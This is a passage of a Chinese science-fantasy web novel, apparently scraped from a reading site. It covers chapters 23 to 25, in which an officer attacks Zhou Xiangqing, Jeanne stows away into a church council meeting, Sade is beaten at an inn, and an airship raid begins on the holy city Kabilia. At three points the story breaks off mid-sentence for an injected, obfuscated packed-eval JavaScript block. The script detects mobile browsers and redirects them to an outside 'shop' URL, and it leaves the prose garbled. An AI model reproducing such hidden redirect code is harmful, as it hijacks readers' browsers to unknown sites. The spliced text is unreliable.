l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088311|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “成什么样子!敌人还没打进来,就一惊一乍的。你哪个单位的?” “二营三连,刘新武,长官!”哨兵急忙收起枪敬礼。 “行了。她戴的这是银棘圣血,你瞎怀疑什么?” 此时另一个哨兵惊慌失措地跑了回来,他看到军官,犹豫了一下,也放开手敬了个礼。“小姑娘……跑掉了。长官。” “我带她进去找,这事你们就别管了。以后长点眼力劲,别老是犯蠢。” 军官训斥完两个哨兵,带着周向青从拉开的栅栏处走了进去,穿过门洞进入内城。周向青向军官道了谢,又替让娜道歉。 “还是我先替手下人道个歉吧。前线的情况还不清楚,大家都很紧张。不过你们两位在这个时候出来,是想看三圣宫的夜景吗?第一次来卡比利亚?你该不会是跟枢机主讲一起来的吧?” “不是不是,我不认识枢机主讲。我还是第一次来。”周向青连忙摇手。“因为让娜的姨妈在这里工作,到现在还在加班,所以她趁此机会想来看看……我得先去把她找回来。” “她姨妈叫什么名字,在哪个部门,做什么工作?小姑娘可能直接跑到那里去了。这里树丛很多,晚上想找个小姑娘可不容易。” “我不清楚。只听说是书记员。她说她找得到,但也不知道是不是。” “嗯——要不我叫人帮你找找?正好我要到六棱堡去。” “不用不用,我自己找就行。”叫当兵的去找让娜,那只是添乱子。“但我不太认识路,所以——” “哦。好。其实这里的路很简单。”军官示意周向青与他同行,一面讲道:“整个内城都是在上个时代的遗址上建起来的,而这个遗址偏偏几乎是一个正三角形。很巧,是不是?大博物院恰好位于三角形的重心,而内务、会务、政务的各个部门就在三个角上。比如你现在右手边的就是内务部的‘白馆’。因为它通体都是白的。它以前是医院。” 周向青顺着军官的手看去,那果然是一座方方正正,通体雪白的建筑。 “然后那边是主管会务的研修大圣堂、钟楼、珍宝馆;最后一角就是政务相关的市议会、政务大厅。夜景最美的三圣堂在市议会和白馆中间,跟大博物院通过长廊联通;而我要去的六棱堡就在大博物院与会务区中间,是军官团和骑士团驻扎的地方。” 军官指了指前面的堡垒,他离开大道,穿过树丛中的小径,向堡垒的方向斜插过去。但他走了一段,突然又回身,指着过来的方向,说:“你们进来的地方叫圣女望塔,因为正对圣女像。那里戒备森严的是军械库。除此之外就是一些比较小的建筑。大概这里就是这些地点吧。” 周向青顺着军官的手指回头望去。高高的圣女望塔在树荫中,也只是露出它的尖顶。如果不是军官简单的说明,她还真的很可能在这里迷路。 “我觉得她的姨妈有可能就在大博物院那边,大主讲今晚应该要开会。或者在政务区,那边的平民雇员最多。”军官说道。 “在大博物院开会?为什么要在博物馆里开会?”周向青想起姜原说过,她需要的有机存储读取器可能就在那边。 “你不知道?大博物院是卡比利亚大主讲的住处兼办公场所。” “那里面的藏品呢?还在里面吗?” “一部分有特殊意义的还在里面,另一部分应该是都搬到珍宝馆了。就在那边。”军官伸手一指。 在周向青望向珍宝馆的方位时,军官又开口道:“不过我倒是有一点不太明白。按理说,能拿到银棘圣血的人,都跟教会关系很深才对。但你不论怎么看,都不太像是教会的人。” 周向青猛地回头,只见青年军官正似笑非笑地望着她。她答道:“我的确不是。这个徽章是一位骑士给我的。” “对,肯定是骑士给你的。这是骑士团的徽章。但他也不是普通的骑士。银棘圣血只比折刃圣血低一个级别,能拿到这玩意,即便不是骑士团的高层,也是高层的后备人员。那么,他是谁呢?你跟他又是什么关系?” 周向青本要回答,但她看到那军官意味深长的眼神,却感觉有些不对劲。 “你问这个干什么?”她本能地后退了一步。 青年军官叹了口气,转过脸去。“我只是有些好奇而已。毕竟这个徽章的确很罕见。我还记得……” 军官的话音突然中断,他像看到了什么东西一样,望向一边的树丛。那树丛中也哗啦一响,像是有什么东西从中跑过。 “让娜?”周向青望向树丛。 军官左腕一翻,掌中多了一把细长的短剑,反手刺向周向青的腹部。 23. 卡比利亚之夜08 等哨兵沮丧地离开之后,让娜从树丛里钻了出来,拍掉身上的树叶和灰土,避开大路,贴着其它建筑的墙壁,继续向内城深处走去。她属实也没有想到,凭着上次旅游的记忆和无数次对着旅游地图的幻想就能走到这一步;因此她也没有后续的计划了。 她只想着能够到大博物院去,见到卡比利亚的大主讲,然后亲口问问他,受封骑士到底是怎么回事,为什么她的叔叔会那么痴迷于这件事情,为什么要让她的父母一下子花掉多年辛苦劳作的积蓄,甚至还要商量向亲戚朋友借一大笔钱。还有今天的事情。圣女草为什么对机器人有反应,而机器人和骑士们到底有什么区别和关系。 她感觉每个人都似乎明白又不想说清楚,又似乎不明白而说不清楚。 大博物院门前正灯火通明。 穿着军装、盔甲、或长袍的人们走出黑色的车子,相互握手、寒暄,谦让着一同走向博物院大门。而大主讲朱启儒就在门前的灯下。他向来人分别致意,握着对方的手臂,轻拍对方的肩膀,微笑着在他们耳边说话。 大主讲就像让娜在电视里看到的一样亲切。她想要现在就跑上前去,提出她的问题。但她也知道,门前戍守的骑士必然会把她挡在外面。他们总是把大主讲与想要与他对话的人们分开。 大主讲向所有人打完招呼,和最后几个人一同进入博物院的大门。让娜想要穿过大路,去看看有没有一扇没关的窗户,但此时一队巡逻的骑士迈着铿锵的步子,从大路上经过。让娜记得旅游的时候介绍过。骑士们负责守卫主讲所在的区域。她大概无法避开他们的视线直接通过。 于是她只好绕一个大圈。她越过草坪返回树丛,绕过白馆前面的星辰塔,然后沿着红墙爬过排污渠,再穿过修着凉亭的小花园。在她前方就是一条长长的静心廊。这条长廊由一百一十四个立柱构成,每根柱子上都刻有祷辞,上有长长的遮雨檐,下有花坛和雕花护栏,连通着大博物院与三圣殿。 三圣殿是一座像是堡垒的建筑,整体涂成了暗红色,带白边,与红墙融为一体,中间和两侧各有三座带有尖顶的望楼,两侧高而中间低。三圣殿上方的女墙均修成火焰形状,方方正正的大小窗孔宛如黑洞洞的眼睛,墙柱上还设有尖角与雕栏,更添了一点肃杀的气氛。月下的三圣殿是卡比利亚公认的美景。 但让娜并无心欣赏什么三圣殿的夜景。她一门心思想越过花坛,爬进长廊,然后潜入博物院里去。但此时长廊联通博物院的门后却传来了开锁声和对话声,她只得在蹲在花坛后藏了起来。 “真不知道这些人到底在想什么。这种时候看幻灯片还不满意,非要拿新装备来看。明明都打包好准备撤离了。” “官大一级压死人,今天来的这几位,都大你多少级了?” “但实在没什么好看的。骑士铁臂的研发基本是瓶颈了,也就是改改细节。你不可能把整个人都活化,而人体也根本负担不起移植体的能量消耗,也不能自己补充金属物质。” “但上面就是要创新成果啊,不然能怎么办?现在采用的技术已经是很成熟的东西了,顶多就是再优化一下吸收和输送方面的……” 两个穿着白色长袍的人打开门,匆匆走向三圣殿的方向。让娜本来想等他们离开就到大博物院去,但听到他们在说骑士铁臂的情况,她又想听听他们会不会说到能帮上叔叔的事情。她沿着外面的花坛一直跟上前去,一直跟到三圣殿的门前。可能是因为研究人员已经撤离的缘故,这一带并没有布置警卫。 两个研究院打开三圣殿的门锁,进去了。门轴并没有发出多大声音,这给了让娜不少勇气。她把门轻轻推开一条缝,身子从门缝中挤了进去。那两个研究员顺着走廊一直向前走去,一面还在继续讨论刚才的问题。 “所以你们科室还是没办法再把吸收率提高两个百分点?单靠圣女草富集还是不太够。” “两个点?你在说梦话。半个点都费老鼻子劲了。土壤含量低,就算管道全铺开了也没辙。而且现在反对占用耕地的声音很大。于其指望我们这边,还不如指望他们早点搞清楚活化效应到底是怎么回事。” “那是没戏的。昨天我跟老白聊了。他说现在能够利用组织置换做出一只类手肢体已经是奇迹了,他自己到现在还没明白是怎么回事。” 让娜听不懂他们到底在聊什么,但“圣女草”和“管道”两个词她还是明白的。所以大概是圣女草和管道和骑士铁臂有某种联系的意思吧。她看到那两个研究员已经走到一个房间前面,开门进去,然后按亮了灯。让娜贴墙站着,踮起脚尖,透过窗户向里面看。那两个研究员拿着撬棍,撬开木箱上面的钉子,从里面掏出两个长长的玻璃柜摆在一辆带柜子的小推车上,然后又去撬另外一个木箱。 那两个玻璃柜中的淡绿色液体中各泡着一只手,看上去只是颜色和大小稍有不同。那一定就是他们之前说的“新产品”。如果能躲在那个小推车里,就一定可以跟着他们直接到达大主讲的面前去。一想到这个,让娜忍不住都要笑出来。等她从小推车里蹦出来的时候,那些人脸上会是什么样的表情啊。而赛德机师知道她居然干成了这么一件大事,又该会气成什么样子啊。 但她现在可没有机会钻进车里去。 “话说,这玩意怎么带过去?”一个研究员问。他从刚撬开的木箱里掏出一件骑士胸甲。 “那个?不是穿在一个人体模型上来着吗?那玩意到哪去了?” “是不是在隔壁?我记得这些箱子好像也是后来才集中到这屋里的。” “好吧,我去找找看。” 让娜赶忙往回跑了几步,躲在拐弯处。 那个研究员推门出来,好在他并没有往让娜这边来,而是向另一个方向走了。他掏出钥匙开了隔壁的锁,很快抱出一个人体模型,回到第一个房间里。这回他没有关门。让娜又靠近窗户,只见那两个研究员开始给人体模型穿护甲。 “这玩意到底是怎么搞来着?这根本戴不上啊。” “我怎么知道?反正差不多能固定就得了。” 让娜深吸一口气,蹑手蹑脚地靠近房间门。她探头看了看,发现两个研究员还在满头大汗地研究怎么给人体模型穿盔戴甲。而他们旁边还堆着一大堆零件。让娜蹲在地上,一步一步慢慢挪进房间。一个研究员正背对她,另一个的视线被那人体模型挡住了。 她屏住呼吸,蹑手蹑脚地靠近小推车,伸手去开小推车的柜门。 铛! 金属碰撞的巨大响声响彻整个房间。让娜吓得差一点尖叫出声,她急忙用双手紧紧捂住嘴巴。 “你个蠢货,差点吓死我你知道吗?”一个研究员骂道。 “哈哈哈哈,抱歉抱歉。我没扣好这个带子。话说,这玩意穿到人身上也这么费事?” “不是。这样品主要是为了测试场强和反射率,其它的都是能省事就省事。” “得,他们省事,咱俩费事了。” “也就这一次吧。还有,别忘了测试工具。” “对,多谢提醒。”伴着铛啷几声,什么东西扔到了小推车上。让娜尽力蜷缩在柜子里。这里比姜原小车的后备箱还要挤。她只希望这次不要腿抽筋。 “好啦。没忘别的吧?” “应该没了。走吧。”小车一震,动了起来。但很快又停下了。 “这玩意怎么这么难推?”一个研究员抱怨道,同时踢了小车一脚。让娜的心都提到了嗓子眼。 “怎么,你不满意,是要推我这个?”另一个研究员反驳。 “哈哈哈哈,我才不要。” 伴着漫无边际的闲聊和抱怨,两个研究院慢慢把小车推进了会议室。 在推车的车头顶开会议室大门的时候,一个声音尖细的女人说道:“大主讲,不论怎么讲,对方军力更强是客观的事实。我们不该再把昂贵的骑士消耗在前方的冲锋陷阵上,应该主要保护城市的安危!如果米卡想要河间地区那一点贫瘠的稀土矿,那么就让他们拿去好了,因为开战的消耗反而更大。反正我们只有低端制程,而高端芯片仍然可以通过与环运城贸易获得。如果活化技术在几年内取得突破,届时……” “连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088312|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河间地区都要让出去,那你下一步准备让什么?当务之急是集结兵力,尽快取得局部的军事优势,让米卡对我们的防线不抱妄想。这三年一直都想削减我们的费用,现在害怕了?”一个粗犷的男声嘲讽道。 一个老人的声音说话了。他声音不大,但平静中透着一股自在的力量。“卡比利亚的安危自然至关重要。佩里尼议长,这一点我最明白不过。而将军,近几十年我们军事不利,不断损失边境的土地,市民对我们不抱期待是正常的,你也要理解。河间地区的废矿并不重要,但那里易守难攻,总体来说,对方的消耗比我们的要大,所以暂时保留比较好。而统修会自从开放冷冻宫之后,希望把身体保存至三元一体实现时的市民踊跃捐献,已经募集了一万多志愿者,二百亿的金额。我会提请调拨一部分款项支持卡比利亚的防务。” “感谢阁下支持。”将军说。 一个温和的女声说:“圣城不容亵渎,但没有必要恐慌于敌人的武力。有三元一体的守护,米卡的攻势必然瓦解。大主讲,只是有一些流言让我感到忧心。目前米卡用稳定的收入诱骗那些边境人投奔他们,让他们自愿变成公司的奴隶,真是可恶、可悲。可惜世界政府的最后一份文档迟迟不能找到,不然早就能拆穿米卡的谎言,也就不需要骑士们献出生命了。” “呵。如果一天找不到那份文档,就一天看着米卡向我们渗透?小孩子的童话都没有这么天真。大主讲,这件事交给内务部就好。”一个阴冷的男声说道。 老人说道:“这件事的确应当重视,卡塔利娜主讲。比起遥远未来才能实现的目标,当下能够得到的东西的确更受人重视。在这方面我们的确做的不够。我在考虑让修士轮流前往各个讲区实地学习三年,一方面缓解机师们的工作压力,另一方面巩固我们和各个讲区之间的联系。我们应当成为人们的依靠,而不是高高在上地指指点点。而刘光磊主操,我希望内务部能够尽快掌握米卡偷渡我们领地的渠道。” “遵命。” “大主讲,我也有一点想谈。目前折刃骑士团与军队配合作战上有一些问题。懦弱的军队总是不能给我们的先锋提供足够的火力掩护,我希望在前线作战时,军队能够优先配合我们的指挥,如此一来,米卡绝不可能越过汋河一步。”一个字正腔圆的男声说道。 “配合你们指挥?门都没有!三年前的怀英堡战役——”将军吼道。 “怀英堡战役失败,恰恰正是缺乏意志力的步兵先崩溃的结果。” “真是胡说八道!如果不是你们先行进攻而被包围——” “哈!” “够了!不要相互指责。指挥权的问题的确是一个难事。但圣座希望骑士团和军队相互配合,我们自然应当遵从。这方面我在考虑两种方案,一种是把骑士混入军队编制,这样能够发挥出骑士的攻坚能力;另一种是改变整体作战的思路,让骑士们更多进入敌后机动,而不是在正面战线上消耗。但这两种方案都需要进一步实践和打磨。但现在我们也不要让研究员等太久,先看看这批新装备的效果吧。” 小推车晃动了一下。 “呃……各位领导,大家好。活化进程优化过之后,骑士铁臂的生成速度提高了4%,也就是每月增加了一个排的产量。但后果是类肌肉的纤维密度下降,大家请看……就是这样。虽然力量和强度下降了大约10%,但仍然满足使用手铳和标枪等武器的需求。” “然后是护甲方面。混合能量场,主要应对的是米卡的L216型单兵激光武器,现在可以吸收部分能量储存起来,而镜面会折射其余未能吸收的能量到周围环境中,且衰减到不具备杀伤效果的水平,就像这样……” 一阵充能的嗡嗡声后,让娜肩膀抵住的柜子突然变得像开水一样烫。她忍不住尖叫一声,从小推车里滚了出来,双手胡乱在被烫到的地方乱拍。 在场的所有成年人都惊讶地盯着她。 她不好意思地嘿嘿笑了起来。 “你该不会就是那个赛德说的小泥腿……小姑娘?赛德呢?带你来的男人呢?”刘光磊惊叫道。 24. 卡比利亚之夜09 赛德给马桶冲了水,摇摇晃晃地站起来,漱了口,洗了把脸。 他看着镜子中的自己,开始后悔喝那么多酒了。他本来不常喝酒的。而且还没能靠装醉跟住对方,反而因为喝酒把对方给搞丢了。 谁能想到会这样? 程光颐说过,不要随便做自己不擅长的事情。不过学长,人总是有必须要做的事情不是么? 他重新整了整自己的长袍。 好在上面并没有沾上什么脏东西。把胃里的东西吐出来并没缓解不适,他的头仍旧昏昏沉沉的。 就凭这个样子能追上周向青吗? 他不知道。但他觉得周向青追上让娜应该用不了多久,她们或许现在就在回来的路上。最好是能在外面遇到她,说“既然这样那不如尊重她的意见我们一起去找她的姨妈”,然后先把她带到研修大圣堂,再通知刘光磊。他需要让会务部和内务部同时牵扯进来,谁也争不过谁,事情才会上升到大主讲那里,自己才有真的参与这件事的机会。 他擦掉脸上的水珠,开门下楼。 但怎么让会务部的卡塔利娜也牵扯进来呢?她实在太保守,不太可能接受他的观点。卡塔利娜不会承认她就是圣女的。学长,如果你是我——不,毕竟准备把她带回来的本来就是你——你会怎么做?在这样一种状态下? 赛德推开楼梯间的门,发现旅店大堂里一片狼藉。本来就没有声音的电视也坏了。地上散落着印着脚印的纸片、瓷杯碎片、断掉的笔,还有别的许多东西。八九个人东倒西歪,喘气地喘气,怒目而视的怒目而视,简直像是当年卡比利亚之战的战场,只是换了一批战士。 一个老头儿瘫倒在墙角的沙发上一动不动,就像死了一般,而他鼻青脸肿的儿子正在往老头额头上敷一块湿毛巾;一个胖子垂头丧气的坐在地上,嘴里嘟嘟囔囔,正在尝试修好拉链坏了的提包;一个老婆子跪在地上捡起一粒一粒的念珠,擦干净上面的灰尘后,装进上衣的口袋;还有两个女人一面骂,一面帮她捡;两个服务员躲在柜台后面,一个瑟瑟发抖,另一个在一遍又一遍地尝试拨电话;而唯一站着的,壮硕的年轻人,正靠着柜台直喘粗气,他的嘴角和指关节还在流血,双眼却强横地盯着跪在地上的老太婆。 一个圣女浮雕挂坠正躺在那壮硕年轻人的脚边。老婆子则望着那个挂坠,犹豫半晌,终于战战兢兢地伸出手,但那年轻人却抬起脚,不偏不倚地慢慢踩在那个挂坠上。 硬胶锯齿防滑鞋底跟挂坠上的圣女浮雕相互摩擦,嘎吱嘎吱的响。 老婆子丢下刚捡起的几枚念珠,双手捂着脸埋下身去,发出一声悲号。 “你这狗东西!亵渎圣女!”其中一个女人带着哭腔骂道。 但那壮硕的年轻人只是咧开还在流血的嘴,笑了笑。 学长,在这种情况下,你会怎么做? “把脚拿开。”赛德说。 年轻人回过头,看到了赛德胸前的红色三角。 “哟,这儿还真有个教会的家伙。让我把脚拿开?好,你来拿啊。”年轻人脚跟不动,只是抬起脚掌,乜着眼打量赛德清瘦的身体。 赛德看了看那挂坠,又看了看年轻人的眼睛。 年轻人只是笑。 赛德走到年轻人身前,单膝跪地,俯下身,伸出手去。在他的手指触到挂坠的同时,年轻人的脚掌也猛地踏了下去,把赛德的手指夹在圣女浮雕与鞋底的防滑齿之间。 年轻人狞笑着逐渐增加脚上的力道,但赛德只是一声不吭。 年轻人把身子的重心都压在那只脚上,往下一点点地拧。 赛德仍然一声不吭。 年轻人把脚抬了起来。“真没意思。”他说。 赛德改用左手捡起挂坠,在衣襟上擦了擦,交还给老妇人。他的右手抖得厉害,还在流血。然后他转过身去面对那个年轻人。 “废物。”他对那年轻人说。 年轻人盯着他。“你有种再说一遍。” “你就是一个废物。”赛德一字一句地说道。“你的眼是瞎的,因为你看不到神圣;你的脑袋一窍不通,因为你不懂三元一体的涵义;你也没有胆量,因为你不敢去寻找自己的信仰。你就是一个废物。” 年轻人的瞳孔扩大了。他抡起一拳,正中赛德的头部。 眼前的景象模糊起来。 ### “喂,别老往头上打。小心再被那个伪君子看到。” “好嘞!” 一股力量随后狠狠击中他的腹部。他的横膈肌剧烈痉挛,把刚吃进去没多久的食堂饭菜都挤压出来。他的嘴里充满了刺鼻的酸味。 “哇,他吐了!” “真恶心。不过正好。告诉你,以后注意你的狗嘴里往出吐什么东西。贱骨头没有资格——” “你们在干什么?”一声喝问打断了对方正要说的话。然后随着砰砰两声,抓着他双臂的手松开了。在杂乱的脚步声中,他一下子失去了支撑的力量,膝盖一软,差点跪在自己的呕吐物上。但一股温和且稳定的力量托在他的腋下,带着他离开那个地方。 “学长,谢谢你。总是靠你来救我。”他向拯救自己的人道谢。他闻到自己嘴巴里的酸味,又赶忙闭上了嘴。 “那些废物是石岗城的耻辱,没什么谢不谢的。到了,你先去洗洗吧。” 他忍着腹部一阵阵的抽搐趴到水池上,用冷水冲洗自己刺痛的眼眶和嘴角,然后漱了好几次口。 “有时候我在想,你要不要服个软比较好。毕竟我不能随时看着你,而那帮废物又没完没了……” “学长,没用的。只要我顶着这个名字,他们就会一直骚扰我;而我也绝对不会在他们面前承认,生在十大姓的家庭,就有什么高人一等之处。” 对方苦笑了一下。“这倒也是。” “在我来这所学校之前,我对统修会还有很多幻想。但现在我知道了,人并不会因为加入统修会就有什么变化。我仍然是我,别人仍然是别人。他们可以随随便便担任大主讲的侍从,然后进入权力中心。而我,我大概能猜到我结业之后会被分配到哪里。” 对方沉默了一会,说:“赛德,我一直有一个没跟别人说过的想法。上历史课的时候,我曾经一直很好奇,为什么圣女要把卡比利亚献给圣座,而不是和他们自己的人一起搬空博物馆,然后离开前往下一个地方。这个想法比较亵渎,对吧?我知道标准答案。她接受了圣座的教化与感召。 “但……我不觉得那是对的。我只是觉得,这世界上的确有一些东西是属于你自己的,但同样有一些东西是属于大家的。这种属于大家的东西,不应该被少数人占有。或许十大姓是最早追随圣座,创立统修会基业的人,但难道其它人就真的没有值得一提的贡献吗?比如圣女,她的名字居然都没有留下来。而我们已经开始按什么‘启正光明、树本昌荣’来起名字,论资排辈了。我觉得,圣女她做的事情,与其说是她接受教化、感召,不如说是她意识到了博物馆并不仅仅属于她自己,所以她是为了这世界上的所有人、还有以后与以后的人,而选择与自己的族人对抗,即便她的族人并不能理解她这种行为的意义。所以或许我们这个时代,也需要一个圣女,来为了我们所有人,和少数人做抗争。让圣女来净化我们的思想。” “那我希望有朝一日,你能找到一个新的圣女。”他说。 ### 一个新的圣女。 赛德猛然醒来,发现自己正躺在床上。 房间里一团漆黑。 脑袋隐隐作痛,也不知是拳头还是酒精的缘故。衣服整整齐齐,似乎只是晕过去后被人扶到了这里。右手隐隐的痛,但已经用绷带整整齐齐地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088313|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包扎好了。 赛德爬起身,用力睁大眼睛,试图看清这团黑暗中的环境。这是双人房,角落里放着两个他有点印象的箱子。似乎这房间就是他和姜原的房间。赛德爬起来,摸了摸姜原的床。凉凉的。姜原还没有回来。 那现在究竟是什么时间? 他感觉应该过了很久。 而他还没有去找周向青!但既然过了这么久,她应该回来了吧? 赛德急忙出去敲隔壁的门。如果有人应门,他可以假装是问姜原的事情。但隔壁屋里没有回应。他又重重地敲了几下,把耳朵贴在门上,只听到里面的八哥懒懒地叫了一声。 周向青和让娜竟也没有回来。 这是怎么回事?赛德急忙下楼。旅馆的柜台处一个人都没有,服务员和那些东倒西歪的客人都不见了。店门也大开着,任由冷风吹进店内,把那些印着脚印的文件卷得哗哗的响。地上还有几个念珠没有捡走,血迹也还在。老人的湿毛巾放在茶几上。电视仍旧只是无声的色块跳跃闪动。墙上那张关于冷冻记忆的海报上,被人画了个大大的叉。 柜台后的钟显示时间是11点24分。 他竟然晕过去这么久。几乎三个小时! 但……三个小时过去,姜原、周向青、让娜都没有回来。难道就连刘光磊的人也没有过来,甚至没有给他一个电话? 太怪了。 赛德犹豫了一下,走出旅馆。 街上仍旧空荡荡的。对面的窗户里都亮着灯,不少人家还开着窗,窗帘被风卷出来,猎猎地抖动。只是看不到一个人影,似乎人们都同时消失了一样。突然他听到远处传来“咚”的一声响,然后看到一辆车跌跌撞撞地从巷子里开出去,向城中区的方向驶去。 他能看到城中区那边正灯火通明,也听到喧闹的声音隐隐地传来,似乎人们都在向那边聚集的样子。 难道大家都到那边去了? 赛德茫然望着城中区的方向。夜风卷动他的衣角,他不由得打了个寒噤。 嘟—————— 在他身后响起了如鲸鱼鸣叫般的悠长而震耳欲聋的汽笛声。 不,不是身后。而是身后更高、更远的地方。 赛德转过身,抬头向天空望去。 然后他就看到,一艘银灰色的巨型武装飞艇正掠过月亮,在卡比利亚的上空缓缓游动。许多探照灯光从地面笔直指向它,照亮了它的身体。与探照灯光一同摇曳着射向天空的,还有无数防空导弹的白色尾迹。那些防空导弹还没有靠近飞艇便已被激光引爆,在夜空中接连炸响。就像是一只只细小的水母。 而高射炮也在接连不断地开火,只是炮弹都受到力场的影响,无法达到飞艇的高度。 嘟—————— 那头空中的巨鲸再次发出一声长鸣。一个个空投舱伴着干扰弹从飞艇上弹出,在力场中加速,然后发动机点火减速,最后张开降落伞落向地面。内城塔楼上的高射机枪向那些空投舱开火了。但空投舱没有像飞艇那样完善的防御功能,许多空投舱被击中,炸裂开来,和干扰弹的红光与烟幕一同变成卡比利亚上空的夜景。 嘟—————— 第三声长鸣。 赛德机师的心脏随着这鸣叫一同震动。他不由得迈开双腿,向上城区奔跑起来。他从未像今天这般,拼尽全力地在卡比利亚的天空下奔跑过。不。除了他在统修学校时,划分班级考试的那天。除了那天之外,赛德从未像今天这般,拼尽全力地在卡比利亚的天空下奔跑过。 战争。 战争来了。 让每个人归于自己应有位置的战争,终于来了。 而他必须再跑快一点才赶得上,赶得上把他,还有她,放上属于自己的位置。 就让这战火来得更猛烈些吧。 我们的信仰需要考验。 25. 卡比利亚之夜10 细细的锋刃插向周向青的腹部。但剑尖刺破外衣,触及她皮肤的一霎那,她的身体无意识地稍稍一侧,剑刃就在她皮肤的表面一划而过,同时像切在金属表面一样发出一声锐响。 年轻军官一击不中,剑交右手,左脚为轴,旋身踏步,右手又是一刺。周向青大惊之下猛地后跃,这一跳竟跳出了五六米远,她身子没把握好平衡,又蹬蹬蹬退了几步,一屁股坐在路灯下的地上。 她瞪大了眼睛,心中报警般地嗡嗡噪响起来。 那军官已经不便再行追击。他笑道:“原来是同行。失敬失敬。” 周向青赶忙从地上爬了起来,两眼紧盯着对方,双手摸了摸自己的肚子。但除了衣服破掉以外,一点伤痕都没有。 “你到底是什么人?你要干什么?”她惊慌失措地大声问道。 “不是什么人。只是想借用一下你的徽章而已,但借不到也不妨碍。”青年军官右手一翻,那短剑不知怎么就不见了,取而代之的是一个哨子。 嘟—— 旁边的六棱堡随着这哨声躁动起来。一队队士兵们从堡垒中冲出,循着哨声赶来。周向青连连后退。 “有间谍!发现间谍!是一个戴红帽子的女人,还有一个小孩!各单位注意!提高警备等级!”军官大声喊道,一面向六棱堡跑去。 什么间谍,我看你才是间谍! 但此时已经没有争辩的空间。周向青唯有转身就逃。 但她决不能把让娜丢在这个地方。 刚才那个军官说,让娜姨妈最有可能的在的地方是大博物院和政务区。但大博物院就在六棱堡的旁边,但她的背后正源源不断地涌出士兵,现在显然是不能回去了。她只有先绕道去政务区看看。 ### ——真狼狈。 ——你会死的。 ——像老杨,像程光颐一样,死掉。脸上一个大洞。 ——大——大的洞。 像是有人趴在她耳边,用意念在窃窃私语。 周向青知道这声音的源头是什么。 ——你完全没有必要像野猫一样仓皇逃窜。按下开关吧。把那些嗡嗡作响的苍蝇拍下去,让它们不要来烦你。 周向青猛地停下脚步。 她不由自主地向后望去。远处灯火晃动,士兵们还在追捕她。 ——去吧。做你该做的事,拥抱自己的命运。就像其他人一样。 我不。 她说。她知道,这只是她的“功能”在体内蠢蠢欲动。是她的“功能”在替她思考。就像是“饿了”,“想摸摸胖球”一样。 不知道为什么,在这之前,她似乎不曾有过这样自言自语的情况。虽然在环运城的时候,她这沉寂多年的功能终于被唤醒。但那几天也没有过这种情况。 为什么现在会突然冒出这些声音? 她不知道。或许是这座与想象中不同的圣城,或许是事情的发展不如预期,又或许是……在村落中土壤中的圣女草纤毛。 周向青借着月光观察了一下自己的手臂。但上面没有任何痕迹。 ——你在疑神疑鬼些什么?我就是你,你就是我。作为一个仿生人,预先设计的功能向你下达指令,不是很正常吗? 就像是回应她的思考一样,另一个“她”如是回应。 ### 周向青没有继续和虚构出的自己争辩。 她在圣女望塔前的最后一个路口猛地右转,掠过树丛,奔向军械库的方向。如果那边戒备森严,那么士兵们大概最不会去的就是军械库的方向。她贴着红墙奔跑,在看到巡逻队的时候就连跃两次爬上大概五米高的城墙,遇到瞭望塔就再跳回城下。 没有人想到她能够跳得这么高。她穿过军械库的警卫圈,眼前就是钟楼和研修大圣堂。大圣堂的周围也种满了圣女草,夜色下的整个区域如同淌满了暗红的鲜血,格外显眼。 她不想再靠近那片圣女草。她可不想再被那东西给缠住。 大钟楼上的指针已超过了十点,夜祷结束的修士和修女们从大圣堂正门涌出,有的直接返回附近的宿舍,有的还圣堂前的广场中散步闲谈。 周向青无法从正面穿过人群。 但好巧不巧的是,另一支巡逻队正沿着墙根向她这里走来。 于是她只得尽量轻巧地一跃,掠过圣女草的地面,落在大圣堂的侧门前面。 还好,门一拉就开。 大圣堂的内部雄伟而又庄严。这栋建筑从外面远看本就已经足够惊人,但站在圣堂内部,望着高耸的穹顶,是另一种感到自身渺小的方式。目前这里已经人去楼空,也没有点灯,清冷的月光透过一排彩色的玻璃花窗照进大圣堂侧翼,更为这里增添了不少出世的气氛。 花窗上的画面是在讲述圣女的事迹。 第一扇窗似乎是自动化大崩溃的事情,机器背叛人类,人类自相残杀。第二扇窗是圣女跟着她的人民来到这里,建立自己的家园。第三扇窗是一个蓝色的漩涡发出进入另一个世界的劝诱,人们接受了这笔交易,只有圣女拒绝了。第四扇窗是圣女受到了圣座在远方的感召,她请求圣座拯救被迷惑的人民。第五扇窗是人们想要把博物馆内的宝物献给漩涡,但圣女坚守在博物馆门前,一步也不退让。最后一扇窗是圣座带着大军赶到时,无信者杀死了她,鲜血从她的盔甲下流出,沿着折断的剑刃深深地渗进身下的土地。 周向青一面着迷地看着那些花窗,一面穿过翼廊来到正殿。正殿中央是一座与花园那座不同的圣女像,这里的圣女像已经卸去了甲胄,戴上花冠,身披长袍,一手抚着心口,另一手伸向空中,似乎是在跟一个看不见的人对话。圣女像的周围摆满了圣女草、鲜花和蜡烛。 周向青向后退了两步,想要看清圣女脸上的表情。 “啊!”她的身侧响起一声惊叫。 